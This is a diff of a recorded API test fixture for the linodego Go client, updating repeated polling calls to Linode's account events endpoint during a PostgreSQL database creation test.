'{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": - "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -7616,16 +8034,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:14:26 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -7641,7 +8062,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -7658,15 +8079,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": - "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -7680,16 +8101,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:14:41 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -7705,7 +8129,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -7722,15 +8146,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": - "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -7744,16 +8168,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:14:56 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -7769,7 +8196,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -7786,15 +8213,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": - "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -7808,16 +8235,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:15:11 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -7833,7 +8263,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -7850,15 +8280,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": - "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -7872,16 +8302,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:15:26 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -7897,7 +8330,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -7914,15 +8347,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": - "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -7936,16 +8369,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:15:41 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -7961,7 +8397,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -7978,15 +8414,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": - "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -8000,16 +8436,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:15:56 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -8025,7 +8464,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -8042,15 +8481,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": - "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -8064,16 +8503,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:16:11 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -8089,7 +8531,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -8106,15 +8548,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": - "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -8128,16 +8570,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:16:26 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -8153,7 +8598,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -8170,15 +8615,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": - "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -8192,16 +8637,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:16:41 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -8217,7 +8665,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -8234,15 +8682,216 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, - "read": false, "percent_complete": 100, "time_remaining": null, "rate": null, - "duration": 1871, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": - "/v4/databases/postgresql/instances/28215"}, "status": "finished", "secondary_entity": + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:16:56 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:17:11 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:17:26 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -8256,16 +8905,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "459" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:17:41 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -8281,7 +8933,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -8297,24 +8949,84 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/instances + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:17:56 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 23355, "label": "tf_test-8585210487497797453", "type": - "g6-nanode-1", "engine": "mysql", "version": "5.7.39", "region": "us-iad", "status": - "provisioning", "encrypted": false, "allow_list": [], "cluster_size": 1, "hosts": - {"primary": null, "secondary": null}, "port": 3306, "updates": {"frequency": - "weekly", "duration": 3, "hour_of_day": 0, "day_of_week": null, "week_of_month": - null}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "instance_uri": - "/v4/databases/mysql/instances/23355"}, {"id": 28215, "label": "go-postgres-testing-def", - "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": - "ap-west", "status": "active", "encrypted": false, "allow_list": ["203.0.113.1", - "192.0.1.0/24"], "cluster_size": 3, "hosts": {"primary": "lin-28215-11370-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28215-11370-pgsql-primary-private.servers.linodedb.net"}, - "port": 5432, "updates": {"frequency": "weekly", "duration": 3, "hour_of_day": - 1, "day_of_week": 7, "week_of_month": null}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "instance_uri": "/v4/databases/postgresql/instances/28215"}], - "page": 1, "pages": 1, "results": 2}' + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: 